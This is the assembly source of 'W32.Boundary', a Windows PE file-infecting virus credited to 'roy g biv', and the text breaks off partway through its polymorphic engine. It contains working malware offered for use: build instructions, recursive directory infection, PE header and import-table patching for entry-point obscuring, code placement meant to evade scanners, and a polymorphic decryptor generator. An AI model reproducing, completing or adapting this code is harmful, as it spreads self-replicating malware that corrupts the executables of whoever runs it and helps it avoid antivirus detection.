W32.Boundary
by roy g biv

See also the project folder

comment ;)
W32.Boundary by roy g biv

some of its features:
- parasitic direct action infector of PE exe (but not looking at suffix)
- infects files in current directory and all subdirectories
- directory traversal is linked-list instead of recursive to reduce stack size
- reloc section inserter/last section appender
- new kind of EPO using bound import table:
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- no infect files with data outside of image (eg self-extractors)
- no infect files protected by SFC/SFP (including under Windows XP)
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
---

  optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
---

to build this thing:
tasm
----
tasm32 /ml /m3 boundary
tlink32 /B:400000 /x boundary,,,import32

Virus is not self-modifying, so no need to alter section attributes
---

We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)

(;

.386
.model  flat

extern  MessageBoxA:proc
extern  ExitProcess:proc

.data
include boundary.inc

dropper         label   near
        mov     edx, krncrc_count
        mov     ebx, offset krnnames
        mov     edi, offset krncrcbegin
        call    create_crcs
        mov     edx, 1
        mov     ebx, offset sfcnames
        mov     edi, offset sfccrcbegin
        call    create_crcs
        push    CODESIZE
        mov     ebx, esp
        fld1
        fild    dword ptr [ebx]
        fyl2x
        fistp   dword ptr [ebx]
        pop     ecx
        inc     ecx
        push    1
        pop     eax
        shl     eax, cl
        sub     eax, 4
        mov     dword ptr [offset codesize_patch + 1], eax
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
align   4
boundary_inf    label   near
align
        push    offset do_message                ;replaced by ExitProcess
        xor     esi, esi
        lods    dword ptr fs:[esi]
        push    eax
        mov     dword ptr fs:[esi - 4], esp
        inc     eax

walk_seh        label   near
        dec     eax
        xchg    esi, eax
        lods    dword ptr [esi]
        inc     eax
        jne     walk_seh
        enter   ((size findlist - 5) and -4) + ((statelen + 1) shl 2), 0
                                                ;Windows NT/2000/XP enables alignment check exception
                                                ;so some APIs fail if buffer is not dword aligned
                                                ;-5 to align at 2 dwords earlier
                                                ;because EBP saved automatically
                                                ;and other register saved next
                                                ;statelen for RNG cache
        push    eax                             ;zero findprev in findlist
        lods    dword ptr [esi]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near
        dd      offset check_sfc - offset krncrcend + 4
        db      "Boundary - roy g biv"          ;at the edge of reality

init_findmz     label   near
        inc     eax
        xchg    edi, eax

find_mzhdr      label   near

;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------

        dec     edi                             ;sub 64kb
        xor     di, di                          ;64kb align
        call    is_pehdr
        jne     find_mzhdr
        mov     ebx, edi
        pop     edi

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

        mov     esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
        lea     esi, dword ptr [ebx + esi + peexp.expadrrva]
        lods    dword ptr [esi]                 ;Export Address Table RVA
        lea     edx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Name Pointer Table RVA
        lea     ecx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Ordinal Table RVA
        lea     ebp, dword ptr [ebx + eax]
        mov     esi, ecx

push_export     label   near
        push    ecx

get_export      label   near
        lods    dword ptr [esi]
        push    ebx
        add     ebx, eax                        ;Name Pointer VA
        or      eax, -1

crc_outer       label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

crc_inner       label   near
        add     eax, eax
        jnb     crc_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

crc_skip        label   near
        loop    crc_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      crc_outer
        pop     ebx
        cmp     dword ptr [edi], eax
        jne     get_export

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     ecx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word ptr [ebp + eax - 2]   ;get export ordinal
        mov     eax, dword ptr [eax * 4 + edx]  ;get export RVA
        add     eax, ebx
        push    eax
        scas    dword ptr [edi]
        cmp     dword ptr [edi], 0
        jne     push_export
        add     edi, dword ptr [edi + 4]
        jmp     edi

;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------

check_sfc       label   near
        call    load_sfc
        db      "sfc_os", 0                     ;Windows XP (forwarder chain from sfc.dll)

load_sfc        label   near
        call    dword ptr [esp + krncrcstk.kLoadLibraryA]
        test    eax, eax
        jne     found_sfc
        push    'cfs'                           ;Windows Me/2000
        push    esp
        call    dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
        pop     ecx
        test    eax, eax
        je      sfcapi_push

found_sfc       label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      0, 0
sfccrcend       label   near
        dd      offset swap_create - offset sfccrcend + 4

sfcapi_push     label   near
        push    eax

swap_create     label   near

;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------

        mov     ebx, esp
        mov     eax, dword ptr [ebx + krncrcstk.kExitProcess]
        mov     dword ptr [edi + offset offset boundary_inf  - swap_create + 1], eax
        lea     esi, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
        mov     edi, esi
        lods    dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        stos    dword ptr [edi]

;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;so for Windows NT/2000/XP this code handles files that no ANSI function can open
;-----------------------------------------------------------------------------

        call    dword ptr [ebx + krncrcstk.kGetVersion]
        shr     eax, 1fh                        ;treat 9x and Win32s as ANSI
                                                ;safer than using AreFileApisANSI()
        lea     ebp, dword ptr [eax * 4 + ebx]
        lea     esi, dword ptr [ebx + size krncrcstk]
        call    dword ptr [ebx + krncrcstk.kGetTickCount]
        lea     edi, dword ptr [esi + ((size findlist + 3) and -4)]
        call    randinit

;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------

scan_dir        proc    near                    ;ebp -> platform APIs, esi -> findlist
        push    '*'                             ;ANSI-compatible Unicode findmask
        mov     eax, esp
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        push    eax
        call    dword ptr [ebp + krncrcstk.kFindFirstFileW]
        pop     ecx
        mov     dword ptr [esi + findlist.findhand], eax
        inc     eax
        je      find_prev

        ;you must always step forward from where you stand

test_dirfile    label   near
        mov     eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        je      test_file
        cmp     byte ptr [edi], '.'             ;ignore . and .. (but also .* directories under NT/2000/XP)
        je      find_next

;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------

        push    edi
        call    dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
        xchg    ecx, eax
        jecxz   find_next
        push    size findlist
        push    GMEM_FIXED
        call    dword ptr [esp + krncrcstk.kGlobalAlloc + 8]
        xchg    ecx, eax
        jecxz   step_updir
        xchg    esi, ecx
        mov     dword ptr [esi + findlist.findprev], ecx
        jmp     scan_dir

find_next       label   near
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        mov     edi, dword ptr [esi + findlist.findhand]
        push    edi
        call    dword ptr [ebp + krncrcstk.kFindNextFileW]
        test    eax, eax
        jne     test_dirfile

;-----------------------------------------------------------------------------
;close find, and free list node if not list head
;-----------------------------------------------------------------------------

        mov     ebx, esp
        push    edi
        call    dword ptr [ebx + krncrcstk.kFindClose]

find_prev       label   near
        mov     ecx, dword ptr [esi + findlist.findprev]
        jecxz   boundary_exit
        push    esi
        mov     esi, ecx
        call    dword ptr [ebx + krncrcstk.kGlobalFree]

step_updir      label   near

;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------

        push    '..'
        org     $ - 1                           ;select top 8 bits of push
boundary_exit   label   near
        int     3                               ;game over

        push    esp
        call    dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA]
        pop     eax
        jmp     find_next

test_file       label   near

;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------

        push    eax                             ;save original file attributes for close
        mov     eax, ebp
        enter   MAX_PATH * 2, 0
        mov     ecx, esp
        push    eax
        push    esp
        push    ecx
        push    MAX_PATH
        push    edi
        call    dword ptr [eax + krncrcstk.kGetFullPathNameW]
        xchg    edi, eax
        pop     eax
        xor     ebx, ebx
        call    dword ptr [ebp + 8 + krncrcstk.kGetVersion]
        test    eax, eax
        jns     call_sfcapi
        mov     ecx, esp
        xchg    ebp, eax
        enter   MAX_PATH * 2, 0
        xchg    ebp, eax
        mov     eax, esp
        push    MAX_PATH
        push    eax
        inc     edi
        push    edi
        push    ecx
        push    ebx                             ;use default translation
        push    ebx                             ;CP_ANSI
        call    dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar]

call_sfcapi     label   near

;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
        xor     eax, eax                        ;fake success in case of no SFC
        jecxz   leave_sfc
        push    esp
        push    ebx
        call    ecx

leave_sfc       label   near
        leave
        test    eax, eax
        jne     restore_attr
        call    set_fileattr
        push    ebx
        push    ebx
        push    OPEN_EXISTING
        push    ebx
        push    ebx
        push    GENERIC_READ or GENERIC_WRITE
        push    edi
        call    dword ptr [ebp + krncrcstk.kCreateFileW]
        xchg    ebx, eax
        call    test_infect
        db      81h                             ;mask CALL
        call    infect_file                     ;Super Nashwan power ;)
        lea     eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
        push    eax
        sub     eax, 8
        push    eax
        push    0
        push    ebx
        call    dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h]
        push    ebx
        call    dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4]

restore_attr    label   near
        pop     ebx                             ;restore original file attributes
        call    set_fileattr
        jmp     find_next
scan_dir        endp

;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------

is_pehdr        proc    near                    ;edi -> map view
        cmp     word ptr [edi], 'ZM'            ;Windows does not check 'MZ'
        jne     pehdr_ret
        mov     esi, dword ptr [edi + mzhdr.mzlfanew]
        add     esi, edi
        lods    dword ptr [esi]                 ;SEH protects against bad lfanew value
        add     eax, -'EP'                      ;anti-heuristic test filetype ;) and clear EAX

pehdr_ret       label   near
        ret                                     ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr        endp

;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------

set_fileattr    proc    near                    ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
        push    ebx
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        push    edi
        call    dword ptr [ebp + krncrcstk.kSetFileAttributesW]
        ret                                     ;edi -> filename
        db      "22/06/06"
set_fileattr    endp

;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------

test_infect     proc    near                    ;ebx = file handle, esi = findlist, ebp -> platform APIs
        call    map_view
        mov     ebp, esi
        call    is_pehdr
        jne     inftest_ret
        lods    dword ptr [esi]
        cmp     ax, IMAGE_FILE_MACHINE_I386
        jne     inftest_ret                     ;only Intel 386+
        shr     eax, 0dh                        ;move high 16 bits into low 16 bits and multiply by 8
        lea     edx, dword ptr [eax * 4 + eax]  ;complete multiply by 28h (size pesect)
        mov     eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]

;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;no .dll files this time
;-----------------------------------------------------------------------------

        test    ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
        jne     inftest_ret

;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------

        and     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        cmp     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        jne     inftest_ret                     ;cannot use xor+jpo because 0 is also jpe

;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------

        add     esi, pehdr.pesubsys - pehdr.pecoff.petimedate
        lods    dword ptr [esi]
        cmp     ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
        jnbe    inftest_ret
        cmp     al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
        jb      inftest_ret
        shr     eax, 1eh                        ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
        jb      inftest_ret

;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------

        cmp     dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], eax
        jnbe    inftest_ret

;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------

        movzx   eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax]
        add     eax, edx
        push    esi
        lea     esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        add     eax, dword ptr [esi]
        cmp     dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
        xchg    esi, eax
        pop     esi
        jne     inftest_ret                     ;file contains appended data
        mov     ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pestackmax]
        lea     ecx, dword ptr [ebx + ADDSIZE - 1]
        neg     ebx
        and     ecx, ebx
        add     dword ptr [ebp + findlist.finddata.dwFileSizeLow], ecx
        mov     edx, dword ptr [esp + mapsehstk.mapsehregs + 0ch]
                                                ;retrieve -> platform APIs
        mov     edx, dword ptr [edx + krncrcstk.kExitProcess + 0ch]
        call    gather_info
        adc     dword ptr [esp + mapsehstk.mapsehinfret], 0
                                                ;skip call mask if found

inftest_ret     label   near
        int     3

gather_info     proc    near
        mov     ecx, dword ptr [esi + pehdr.pebound.dirrva - pehdr.pestackmax]
        jecxz   gather_ret
        push    edx
        xchg    esi, eax
        xchg    ebp, eax
        add     ecx, edi                        ;it's really a RVA but it always exists before first section
        mov     edx, ecx

parse_bound     label   near
        movzx   eax, word ptr [edx + pebind.bindrva]
        test    eax, eax
        je      gather_pop
        add     edx, size pebind
        mov     eax, dword ptr [ecx + eax]
        or      eax, "    "
        cmp     eax, "nrek"
        jne     parse_bound
        mov     ecx, dword ptr [ebp + pehdr.peimport.dirrva - pehdr.pestackmax]
        call    rva2raw

parse_import    label   near
        push    ecx
        mov     ecx, dword ptr [edi + ecx + peimp.impdllrva]
        call    rva2raw
        mov     eax, dword ptr [edi + ecx]
        pop     ecx
        add     ecx, size peimp
        or      eax, "    "
        cmp     eax, "nrek"
        jne     parse_import
        mov     ecx, dword ptr [edi + ecx - size peimp + peimp.impiatrva]
        call    rva2raw
        xor     eax, eax
        add     edi, ecx
        or      ecx, -1
        push    edi
        repne   scas dword ptr [edi]
        pop     edi
        pop     eax
        not     ecx
        repne   scas dword ptr [edi]
        jne     gather_ret
        stc
        ret

gather_pop      label   near
        pop     eax

gather_ret      label   near
        ret
gather_info     endp

;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------

map_view        proc    near                    ;ebx = file handle, esi -> findlist, ebp -> platform APIs
        mov     eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
        cdq
        push    eax
        mov     ecx, esp
        push    eax                             ;MapViewOfFile
        push    edx                             ;MapViewOfFile
        push    edx                             ;MapViewOfFile
        push    FILE_MAP_WRITE                  ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
        push    edx
        push    eax
        push    edx
        push    PAGE_READWRITE
        push    edx
        push    ebx
        call    dword ptr [ecx + size mapstack + krncrcstk.kCreateFileMappingA]
                                                ;ANSI map is allowed because of no name
        push    eax
        xchg    edi, eax
        call    dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h]
        pop     ecx
        xchg    edi, eax                        ;should succeed even if file cannot be opened
        pushad
        call    unmap_seh
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad                                   ;SEH destroys all registers
        push    eax
        push    edi
        call    dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4]
        call    dword ptr [esp + size mapstack + krncrcstk.kCloseHandle]
        pop     eax
        ret

unmap_seh       proc    near
        cdq
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx], esp
        jmp     dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh       endp
map_view        endp                            ;eax = map handle, ecx = new file size, edi = map view

;-----------------------------------------------------------------------------
;infect file
;algorithm:     increase file size by large amount to confuse scanners that
;               look at end of file
;               if reloc table is not in last section (taken from relocation
;               field in PE header, not section name), then append to last
;               section.  otherwise, move relocs down and insert code into
;               space (to confuse people looking at end of file.  they will
;               see only relocation data and garbage or many zeroes)
;               ExitProcess address is altered in import table.  very simple
;-----------------------------------------------------------------------------

infect_file     label   near                    ;esi -> findlist, edi = map view
        call    map_view

delta_label     label   near
        push    ecx
        push    edi
        mov     ebx, dword ptr [edi + mzhdr.mzlfanew]
        lea     ebx, dword ptr [ebx + edi + pehdr.pechksum]
        xor     ecx, ecx
        imul    cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect
        add     cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
        lea     esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        mov     ecx, ADDSIZE
        mov     edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
        push    eax
        add     eax, ecx
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx                        ;file align last section
        mov     dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax

;-----------------------------------------------------------------------------
;raw size is file aligned.  virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------

        mov     ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
        cmp     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        jnb     test_reloff
        mov     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        add     eax, ebp
        mov     edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx
        mov     dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax

;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------

test_reloff     label   near
        test    byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
        jne     copy_code
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
        jb      copy_code
        mov     eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
        add     eax, ebp
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
        jnb     copy_code
        add     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
        pop     eax
        push    esi
        add     edi, dword ptr [esi]
        lea     esi, dword ptr [edi + eax - 1]
        lea     edi, dword ptr [esi + ecx]
        xchg    ecx, eax
        std
        rep     movs byte ptr [edi], byte ptr [esi]
        cld
        pop     esi
        pop     edi
        push    edi
        push    ecx
        xchg    ecx, eax

copy_code       label   near
        pop     edx
        add     ebp, edx
        xchg    ebp, eax
        add     edx, dword ptr [esi]
        add     edi, edx
        add     eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
        mov     edx, dword ptr [esp + infectstk.infseh.mapsehinfret - 8]
        mov     dword ptr [edx + offset hostva - offset delta_label], eax
        mov     ebp, dword ptr [esp + infectstk.infseh.mapsehregs + 8]
                                                ;retrieve -> platform APIs
        push    esi
        push    esi
        pushad
        push    PAGE_READWRITE
        push    MEM_COMMIT
        push    ADDSIZE + ENTERSIZE
        push    0
        xchg    edx, eax
        xchg    ebp, eax
        call    dword ptr [eax + krncrcstk.kVirtualAlloc + 0ch]
        lea     esi, dword ptr [eax - esp_delta]
        lea     edi, dword ptr [esi + ENTERSIZE]
        mov     dword ptr [esp + 4], edi
        dec     byte ptr [esi + locked]
        add     ebp, offset random - offset delta_label
        call    ebp
        and     eax, 7ffh
        add     eax, 1000
        xor     ecx, ecx

loop_poly1      label   near
        call    poly
        dec     eax
        jne     loop_poly1
        mov     dword ptr [esp + 24h], edi

decrypt_loop    label   near
        pushad
        call    decrypt_seh
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad
        jmp     decrypt_loop                    ;keep trying until success

decrypt_seh     label   near
        push    dword ptr fs:[eax]
        mov     dword ptr fs:[eax], esp
        call    make_decrypt
        xor     byte ptr [esi + codebits + ((CODESIZE - 4) shr 5)], 1 shl (((CODESIZE shr 2) - 1) and 7)
        inc     edx
        call    decrypt_eip
        mov     byte ptr [edi - 7], 0c3h
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad
        popad
        push    eax
        push    esi
        rep     movs byte ptr [edi], byte ptr [esi]
        push    MEM_RELEASE
        push    ecx
        sub     esi, ADDSIZE + ENTERSIZE - esp_delta
        push    esi
        call    dword ptr [ebp + krncrcstk.kVirtualFree + 0ch]
        pop     esi
        pop     ecx
        pop     eax

;-----------------------------------------------------------------------------
;section attributes are always altered to executable because for Windows XP SP2
;you can remove that bit, if you want, but we need the writable bit for decrypt
;-----------------------------------------------------------------------------

        or      byte ptr [eax + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE) shr 18h
        mov     edx, dword ptr [ebp + krncrcstk.kExitProcess + 0ch]
        pop     ebp
        pop     edi
        push    edi
        sub     ebp, esi
        add     ebp, ecx
        push    ebp
        lea     esi, dword ptr [ebx + pehdr.pestackmax - pehdr.pechksum]
        call    gather_info
        pop     dword ptr [edi - 4]

;-----------------------------------------------------------------------------
;optional: GetProcAddress for every import, and store all Bound TimeDateStamps
;otherwise, there is chance that we will never execute
;-----------------------------------------------------------------------------

        pop     edi

;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------

        xor     ecx, ecx
        xchg    dword ptr [ebx], ecx
        jecxz   infect_ret
        xor     eax, eax
        pop     ecx
        push    ecx
        inc     ecx
        shr     ecx, 1
        clc

calc_checksum   label   near
        adc     ax, word ptr [edi]
        inc     edi
        inc     edi
        loop    calc_checksum
        pop     dword ptr [ebx]
        adc     dword ptr [ebx], eax            ;avoid common bug.  ADC not ADD

infect_ret      label   near
        int     3                               ;common exit using SEH
        db      "*4U2NV*"                       ;that is, unless you're reading this
test_infect     endp

make_decrypt    proc    near
        push    edi
        mov     cl, (unknown - esp_delta) shr 2
        lea     edi, dword ptr [esi + esp_delta]
        rep     stos dword ptr [edi]
        dec     eax
        mov     cl, 8
        rep     stos dword ptr [edi]
        inc     eax
        mov     cl, (BITSIZE shr 2) + 1
        add     edi, codebits - vals
        rep     stos dword ptr [edi]
        pop     edi
        dec     byte ptr [esi + locked]
        mov     byte ptr [esi + unknown + (REG_ESP * 4)], 0fch
        mov     dword ptr [esi + vals + (REG_ESP * 4)], ecx
        or      byte ptr [esi + codebits + ((CODESIZE - 4) shr 5)], 1 shl (((CODESIZE shr 2) - 1) and 7)
        call    ebp
        and     eax, 0ffh
        add     eax, 800
        xchg    ecx, eax

inc_poly0       label   near
        inc     ecx

loop_poly0      label   near

;-----------------------------------------------------------------------------
;loop until count is zero, then continue until all registers initialised
;count overloaded as non-random flag
;-----------------------------------------------------------------------------

        call    poly
        loop    loop_poly0

check_reg       label   near
        mov     cl, 8
        cdq

or_unknown      label   near
        cmp     cl, REG_ESP + 1
        je      skip_unknown
        or      edx, dword ptr [ecx * 4 + esi + unknown - 4]

skip_unknown    label   near
        loop    or_unknown
        jne     inc_poly0
        mov     edx, (CODESIZE shr 2) - 1

decrypt_eip     label   near
        push    edx

decryptor       label   near
        xor     ebx, ebx

        ;if something to pop, and able to pop

        call    ebp
        test    al, 1
        je      check_unmarked
        cmp     dword ptr [esi + stacked], ebx
        je      check_unmarked
        cmp     dword ptr [esi + esp_delta], ebx
        jne     check_unmarked
        cmp     byte ptr [esi + donesub], bl
        jne     check_unmarked
        mov     ax, 848fh
        stos    word ptr [edi]

get_popreg      label   near

;-----------------------------------------------------------------------------
;randomly pick one or two registers other than ESP, with random scale
;-----------------------------------------------------------------------------

        call    ebp
        mov     cl, al
        and     eax, 7
        cmp     al, REG_ESP
        je      get_popreg
        xchg    ecx, eax
        stos    byte ptr [edi]
        mov     ebx, dword ptr [ecx * 4 + esi + vals]
        mov     cl, al
        shr     al, 3
        and     eax, 7
        cmp     al, 4
        je      skip_popscale
        mov     eax, dword ptr [eax * 4 + esi + vals]
        shr     cl, 6
        shl     eax, cl
        add     ebx, eax

skip_popscale   label   near
        dec     dword ptr [esi + stacked]
        mov     eax, dword ptr [esi + stacked]
        mov     eax, dword ptr [eax * 4 + esi + stack]
        add     eax, dword ptr [ebp + offset hostva - offset random]
        sub     eax, ebx
        stos    dword ptr [edi]
        add     dword ptr [esi + vals + (REG_ESP * 4)], 4
        dec     dword ptr [esp]
        jne     jmp_poly2
        pop     edx

decrypt_ret     label   near
        ret

check_unmarked  label   near

;-----------------------------------------------------------------------------
;if unmarked values left
;-----------------------------------------------------------------------------

        test    edx, edx
        je      jmp_poly2
        cmp     byte ptr [esi + donesub], bl
        jne     check_locked
        cmp     byte ptr [esi + prev_op], bl ;OP_ADD
        jne     jmp_poly2
        mov     dword ptr [esi + esp_delta], ebx
        mov     eax, dword ptr [esi + stacked]
        not     eax
        shl     eax, 2
        mov     bl, REG_ESP
        call    adjust_val
        inc     byte ptr [esi + donesub]
        jmp     jmp_poly2

check_locked    label   near

        call    ebp
        and     al, 1
        jne     check_prevop

;-----------------------------------------------------------------------------
;if no register locked
;-----------------------------------------------------------------------------

        cmp     byte ptr [esi + locked], 0ffh
        jne     check_prevop

get_lockedreg   label   near
        call    ebp
        and     eax, 7
        cmp     al, REG_ESP
        je      get_lockedreg
        mov     byte ptr [esi + locked], al
        xchg    ebx, eax

get_codebits    label   near
        call    ebp

codesize_patch  label   near
        and     eax, 'rgb!'
        cmp     eax, CODESIZE
        jnb     get_codebits
        shr     eax, 2
        bts     dword ptr [esi + codebits], eax
        jb      get_codebits
        shl     eax, 2
        mov     ecx, dword ptr [esi + stacked]
        mov     dword ptr [ecx * 4 + esi + stack], eax
        mov     eax, dword ptr [ebp + eax + offset boundary_inf - offset random]
        call    adjust_val

jmp_poly2       label   near
        jmp     do_poly2

check_prevop    label   near
        cmp     byte ptr [esi + prev_op], bl ;OP_ADD
        jne     do_poly2
        mov     ch, al
        mov     cl, byte ptr [esi + locked]
        test    al, al
        je      make_move
        call    ebp
        and     al, 7
        mov     cl, al

make_move       label   near
        mov     ax, 3091h
        add     ah, cl
        rol     ax, 3
        stos    word ptr [edi]

;-----------------------------------------------------------------------------
;randomly pick one register to combine with ESP, with random scale
;-----------------------------------------------------------------------------

        call    ebp
        and     al, 0f8h
        or      al, REG_ESP
        stos    byte ptr [edi]
        mov     cl, al
        shr     al, 3
        and     eax, 7
        cmp     al, 4
        je      skip_pushscale
        mov     ebx, dword ptr [eax * 4 + esi + vals]
        shr     cl, 6
        shl     ebx, cl

skip_pushscale  label   near
        add     ebx, dword ptr [esi + esp_delta]
        neg     ebx
        xchg    ebx, eax
        stos    dword ptr [edi]
        test    ch, ch
        jne     do_poly2
        mov     byte ptr [esi + locked], 0ffh
        dec     byte ptr [esi + donesub]
        inc     dword ptr [esi + stacked]
        dec     edx

do_poly2        label   near
        call    ebp
        and     eax, 7
        inc     eax
        xchg    ecx, eax

loop_poly2      label   near
        call    poly
        loop    loop_poly2
        jmp     decryptor
make_decrypt    endp

poly            proc    near
        pushad
        pop     edx                     ;discard edi
        push    ebp

get_polyreg     label   near

;-----------------------------------------------------------------------------
;avoid the locked register
;-----------------------------------------------------------------------------

        call    ebp
        and     eax, 7
